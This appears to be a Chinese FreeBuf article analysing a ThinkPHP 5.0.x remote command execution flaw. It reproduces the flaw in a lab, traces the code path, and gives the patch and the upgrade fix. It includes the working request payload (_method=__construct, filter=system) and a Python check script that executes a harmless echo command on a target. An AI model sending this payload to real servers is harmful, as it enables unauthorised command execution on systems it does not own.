ThinkPHP 5.0命令執行漏洞分析及復現
*本文作者:小紈絝,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
ThinkPHP 5.0 版本是一個顛覆和重構版本,也是ThinkPHP 十週年獻禮版本,基於 PHP5.4 設計(完美支援 PHP7 ),採用全新的架構思想,引入了很多的 PHP 新特性,優化了核心,減少了依賴,支援Composer ,實現了真正的惰性載入,並且為 API 開發做了深入的支援,在功能、效能以及靈活性方面都較為突出 。
漏洞描述
ThinkPHP5.0在核心程式碼中實現了表單請求型別偽裝的功能,該功能利用 $_POST['_method']
變數來傳遞真實的請求方法,當攻擊者設定 $_POST['_method']=__construct
時,Request類的method方法便會將該類的變數進行覆蓋,攻擊者利用該方式將filter變數覆蓋為system等函式名,當內部進行引數過濾時便會進行執行任意命令。
影響範圍
ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23
什麼是表單請求型別偽裝
<form method="post" action=""> <input type="text" name="name" value="Hello"> <input type="hidden" name="_method" value="PUT" > <input type="submit" value="提交"> </form>
如上表單,可以在 POST
表單裡面提交 _method
變數,傳入需要偽裝的請求型別 ,該請求從客戶端看來是POST請求,而伺服器會將該請求識別PUT請求並進行處理,其中變數 _method
可以在 application\config.php
檔案中進行修改。
// 表單請求型別偽裝變數 'var_method'=> '_method',
該特性的作用:
安全防護 ,隱藏自己真實請求資訊;
整合現有應用系統 ,例如現有的應用系統A的介面只接受put請求,而你的應用系統B只能發起post請求。
漏洞復現
環境
OS: windows7 Webserver : phpstudy(apache + php5.6.27) thinkphp: 5.0.20
條件
// 開啟thinkphp的除錯模式, 檔案application\config.php // 應用除錯模式 'app_debug'=> true,
操作
cd D:\phpStudy\WWW git clone https://github.com/top-think/think tp5 git checkout v5.0.22 cd tp5 git clone https://github.com/top-think/framework thinkphp git checkout v5.0.22
開啟thinkphp的debug模式
// 開啟thinkphp的除錯模式, 檔案application\config.php // 應用除錯模式 'app_debug'=> true,
開啟apache,傳送payload:
漏洞分析
利用xdebug+phpstorm進行除錯,配置方式請大家自行搜尋。
thinkphp採用filter對請求引數進行過濾,預設的filter在config.php中為空字串,thinkphp首先會設定預設的過濾函式:
filter被設定為空字串,繼續跟蹤在路由檢查內部會對Request類的filter變數進行覆蓋,跟進routeCheck函式。
再上圖中呼叫 $requesr->method()
關鍵方法,跟進:
可以發現該函式會獲取使用者傳入的 _method=__construct
變數,並呼叫 __construct
方法,跟進:
filter變數被設定成 system
,繼續:
當debug模式開啟時,會記錄請求資訊,會呼叫 $request->param()
方法,跟進:
如上,根據filter變數設定過濾器,跟進:
過濾器變成了陣列 ['system']
,跟進 array_walk_recursive
函式:
該函式內會對引數進行過濾,呼叫了 call_user_func('system', 'dir')
,完成了命令執行,結果如下:
接下來,thinkphp在執行模組的過程中還會再一次設定預設filter,使得 filter=''
,但是不會再次覆蓋filter為system,所以接下來的一次過濾並沒有能夠再次執行命令。
整個執行流程如下 :

官方補丁
官方補丁中限制了 _method
可疑設定的請求方法,並在處理 _method
之後將其unset,無法再利用 __construct
進行變數覆蓋。
漏洞修復
升級到5.0.24及以上,不用開啟debug模式。
檢測指令碼
# coding=utf-8 import requests def check(ip, port, timeout=3): url = 'http://{ip}:{port}/tp5/public/index.php'.format(ip=ip, port=port) # url = 'http://{ip}:{port}/index.php'.format(ip=ip, port=port) data = { '_method':'__construct', 'filter':'system', 'a':'echo abcd', } headers = { 'content-type' : 'application/x-www-form-urlencoded', 'user-agent' : 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36', 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' } resp = requests.post(url, data=data, headers=headers, timeout=timeout) if resp.content.find('abcd') != -1: return 'thinkphp5.0 命令執行:' + url if __name__ == '__main__': print check('127.0.0.1', '80')
總結
該漏洞主要是:
表單請求型別偽裝 + filter引數 = 覆蓋變數filter;
變數覆蓋filter + debug模式 + 執行filter = 命令執行。
*本文作者:小紈絝,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。